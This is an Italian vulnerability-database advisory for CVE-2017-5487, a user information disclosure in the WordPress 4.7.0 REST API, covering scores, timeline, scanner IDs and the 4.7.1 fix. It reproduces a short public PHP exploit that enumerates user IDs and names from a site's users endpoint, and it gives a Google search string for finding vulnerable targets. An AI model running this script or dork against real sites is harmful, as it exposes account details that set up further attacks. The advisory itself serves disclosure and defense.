WordPress 4.7.0 REST API class-wp-rest-users-controller.php rivelazione di informazioni

CVSS Punteggio meta temporaneoPrezzo attuale dell'exploit (≈)Punteggio di interesse CTI
5.1$0-$5k0.63

Riassuntoinformazioni

È stata individuata una vulnerabilità classificata come problematico in WordPress 4.7.0. Da questa vulnerabilità è interessato una funzione sconosciuta del file wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php del componente REST API. Attraverso l'influenza di un input sconosciuto per mezzo di una vulerabilità di classe rivelazione di informazioni. Questo punto di criticità è identificato come CVE-2017-5487. Dalla rete può partire l'attacco. Inoltre, è presente un exploit disponibile. Si raccomanda di procedere con l’aggiornamento del componente interessato.

Dettagliinformazioni

È stata rilevata una vulnerabilità di livello problematico in WordPress 4.7.0 (Content Management System). É interessato una funzione sconosciuta del file wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php del componente REST API. Mediante la manipolazione di un input sconosciuto per mezzo di una vulerabilità di classe rivelazione di informazioni. Gli effetti sono noti per la riservatezza.

Data di scoperta del problema 11/01/2017. La vulnerabilità è stata pubblicata in data 15/01/2017 da Dctor (oss-sec) (confermato). L'advisory è scaricabile da openwall.com. Questo punto di criticità è identificato come CVE-2017-5487. Lo sfruttamento è riconosciuto come facile. L'attacco può essere lanciato da remoto. Per l'uso non è richiesta un'autentificazione. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.

Un metodo di utilizzo è stato sviluppato da Dctor in PHP ed è stata pubblicata 2 mesi dopo il comunicato. L'exploit è scaricabile da exploit-db.com. È stato dichiarato come funzionale. Cercando inurl:wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php è possibile trovare obiettivi vulnerabili con Google Hacking. Per lo scanned Nessus, è disponibile un plugin, numero ID 96606 (WordPress < 4.7.1 Multiple Vulnerabilities), che può aiutare a determinare l'esistenza della criticità nel sistema analizzato. Il codice utilizzato dal exploit è:

header ('Content-type: text/html; charset=UTF-8');
 
 
$url= "https://bucaneiras.org/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}

L'aggiornamento alla versione 4.7.1 elimina questa vulnerabilità. L'aggiornamento è scaricabile da github.com. Una possibile soluzione è stata pubblicata già prima e non dopo la pubblicazione della vulnerabilità.

La vulnerabilità è documentata anche nel database Exploit-DB (41497), Tenable (96606) e SecurityFocus (BID 95391†). Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Prodottoinformazioni

Genere

Nome

Versione

Licenza

Sito web

CPE 2.3informazioni

CPE 2.2informazioni

CVSSv4informazioni

VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

CVSSv3informazioni

VulDB Punteggio meta-base: 5.3
VulDB Punteggio meta temporaneo: 5.1

VulDB Punteggio di base: 5.3
VulDB Punteggio temporaneo: 4.9
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 5.3
NVD Vettore: 🔍

CVSSv2informazioni

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VettoreComplessitàAutenticazioneRiservatezzaIntegritàDisponibilità
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare
SbloccareSbloccareSbloccareSbloccareSbloccareSbloccare

VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍

NVD Punteggio di base: 🔍

Sfruttamentoinformazioni

Classe: Rivelazione di informazioni
CWE: CWE-200 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍

Fisico: No
Locale: No
Remoto: Si

Disponibilità: 🔍
Accesso: Pubblico
Stato: Funzionale
Autore: Dctor
Linguaggio di programmazione: 🔍
Scaricare: 🔍
Google Hack: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Previsione dei prezzi: 🔍
Preventivo attuale: 🔍

0-DaySbloccareSbloccareSbloccareSbloccare
OggiSbloccareSbloccareSbloccareSbloccare

Nessus ID: 96606
Nessus Nome: WordPress < 4.7.1 Multiple Vulnerabilities
Nessus File: 🔍
Nessus Rischio: 🔍
Nessus Famiglia: 🔍
Nessus Context: 🔍

OpenVAS ID: 100908
OpenVAS Nome: WordPress json User Enumeration Vulnerability
OpenVAS File: 🔍
OpenVAS Famiglia: 🔍

Qualys ID: 🔍
Qualys Nome: 🔍

Exploit-DB: 🔍

Intelligence sulle minacceinformazioni

Interesse: 🔍
Attori attivi: 🔍
Gruppi APT attivi: 🔍

Contromisureinformazioni

Raccomandazione: Aggiornamento
Stato: 🔍

Tempo 0 giorni: 🔍
Tempo di ritardo sfruttamento: 🔍

Aggiornamento: WordPress 4.7.1
Patch: github.com

Sequenza temporaleinformazioni

11/01/2017 🔍
11/01/2017 +0 giorni 🔍
11/01/2017 +0 giorni 🔍
14/01/2017 +3 giorni 🔍
14/01/2017 +0 giorni 🔍
15/01/2017 +1 giorni 🔍
15/01/2017 +0 giorni 🔍
18/01/2017 +3 giorni 🔍
03/03/2017 +44 giorni 🔍
03/03/2017 +0 giorni 🔍
13/05/2026 +3358 giorni 🔍

Fontiinformazioni

Prodotto: wordpress.com

Avis: daf358983cc1ce0c77bf6d2de2ebbb43df2add60
Ricercatore: Dctor
Stato: Confermato
Conferma: 🔍

CVE: CVE-2017-5487 (🔍)
GCVE (CVE): GCVE-0-2017-5487
GCVE (VulDB): GCVE-100-95347
SecurityFocus: 95391 - WordPress Prior to 4.7.1 Information Disclosure Vulnerability
SecurityTracker: 1037591

scip Labs: https://www.scip.ch/en/?labs.20161013
Vedi anche: 🔍

Voceinformazioni

Data di creazione: 15/01/2017 10:40
Aggiornato: 13/05/2026 12:48
Cambiamenti: 15/01/2017 10:40 (88), 08/06/2020 09:18 (3), 28/10/2022 20:06 (5), 17/11/2025 05:06 (14), 13/05/2026 12:48 (1)
Completa: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussione

Ancora nessun commento. Lingue: it + ro + en.

Effettua il login per commentare.

Do you need the next level of professionalism?

Upgrade your account now!